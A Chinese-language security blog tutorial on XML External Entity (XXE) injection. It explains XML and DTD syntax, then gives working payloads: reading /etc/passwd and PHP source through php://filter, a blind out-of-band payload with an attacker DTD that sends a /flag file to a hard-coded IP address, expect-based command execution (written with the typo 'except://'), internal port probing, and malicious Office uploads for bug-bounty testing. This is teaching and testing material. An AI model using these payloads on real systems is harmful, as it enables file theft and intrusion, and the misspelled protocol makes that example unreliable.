XXE


XXE

XXE

XXE 全称 XML External Entity Injection 外部实体注入漏洞

XXE 会发生在语言程序解析 XML 时,没有禁止外部实体的加载,导致的漏洞
漏洞触发点一般是可以上传 XML 文件的位置,没有进行过滤,导致解析时会加载恶意外部文件和代码,造成任意文件读取、命令执行等漏洞

XML

XML 是用于标记文件使其具有结构性的标记语言,可以用来标记数据、定义数据结构

XML 文档结构包括

  1. XML 声明

  2. DTD 文档类型定义(可选)

  3. 文档元素

    XML 文档都由以下的构建模块构成

    • 元素
    • 属性
    • 实体
    • PCDATA​:指的是会被解析器检查的文本数据,会把实体引用转义,里面的 < 会被解析成一个新标签的开始
    • CDATA:不会被解析器解析的原始文本,不会解析新标签

基本语法

  • 所有 XML 都必须有关闭标签
  • XML 都对大小写敏感
  • XML 必须正确嵌套
  • XML 文档必须有根元素
  • XML 的属性值要加引号
  • XML 中的空格会被保留,多个空格不会被合并为一个

实体引用

字符 转义
< &lt;
> &gt;
& &amp;
" &quot;
' &apos;

DTD

DTD 是 XML 文档的结构约束,用来定义 XML 文档的合法构建模块

DTD 有两种用法

  1. 内部声明

    直接写在 XML 文件内部

    <?xml version="1.0"?>
    <!DOCTYPE bookstore [   		定义这个文档是 bookstore 类型的文档
    	<!ELEMENT price (#PCDATA)>	定义 price 元素为 #PCDATA 类型
    ]>
    <bookstore>
    	<price>1111</price>         定义 price 元素的值
    </bookstore>
  2. 外部声明

    定义在 .dtd 文件中,XML 引用

    <?xml version="1.0"?>
    <!DOCTYPE bookstore SYSTEM "bookstore.dtd">

DTD 语法

  1. 定义元素

    <!ELEMENT 元素名 (内容模型)>
    <!ELEMENT price (#PCDATA)>
  2. 定义属性

    <!ATTLIST 元素名 属性名 属性类型 默认值>
    <!ATTLIST price unit CDATA "CNY">
  3. 定义 DTD 实体(重点)

    DTD 实体是用于定义引用普通文本或特殊字符的快捷方式的变量,可内部声明或外部引用

    实体又分为一般实体和参数实体

    1. 一般实体的引用方式:&实体名;
    2. 参数实体只能在 DTD 中使用:%实体名;

    • 内部实体

      <!ENTITY 实体名 "实体值">
      
      <!ENTITY marin "1">
      <h1>&marin;</h1>
    • 外部实体

      <!ENTITY 实体名 SYSTEM "URL">
      
      <!ENTITY marin SYSTEM "file:///etc/passwd">
      <h1>&marin;</h1>

XXE 漏洞

支持的协议

image

漏洞利用

  • 读取文档文件

    <?xml version="1.0" encoding="UTF-8"?>
    <!DOCTYPE root[
      <!ENTITY marin SYSTEM "file:///etc/passwd">
    ]>
    <root>
      <show>&marin;</show>
    </root>
  • 利用伪协议

    <?xml version="1.0" encoding="UTF-8"?>
    <!DOCTYPE foo [
      <!ENTITY marin SYSTEM "php://filter/read=convert.base64-encode/resource=index.php">
    ]>
    <root>
      <show>&marin;</show>
    </root>
  • 无回显 XXE

    请求 XML

    <?xml version="1.0" encoding="UTF-8"?>
    <!DOCTYPE foo [
      <!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/flag">
      <!ENTITY % marin SYSTEM "http://101.35.151.42:8888/1.dtd">
      %marin;
    ]>
    <root>
    1
    </root>

    服务器 dtd

    <!ENTITY % dtd "<!ENTITY % xxe  SYSTEM 'http://101.35.151.42:8080/%file;'> ">
    %dtd;
    %xxe;

XXE的危害

  1. 任意文件读取

    利用伪协议,可以读取文件
    还分为有回显和无回显两种

  2. 命令执行

    php环境下,如果php有装 expect 拓展,就可以命令执行,但是默认没有安装

    <?xml version="1.0"?>
    <!DOCTYPE note [
      <!ENTITY admin SYSTEM "except://ls">
      ]>
  3. 内网探测端口

    XXE可以利用 http:// 协议,可以发起 http 请求,探查内网的端口

SRC

在 SRC 中使用 XXE,一般是在一些可以解析上传文件的地方,例如可以解析一些 .xlsx​、.docx​、.pptx 格式的 Office 文档
因为这些文件都是 zip 压缩包,里面包含大量 XML 文件,当系统对上传的文件能够解析的时候,如果 XML 解析器没有禁用外部实体解析,攻击者上传的就会触发 XXE 漏洞

image

使用工具 xlsx_tool.py 可以生成恶意的文件,上传测试能不能外带

image


文章作者: Marin
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 Marin !
  目录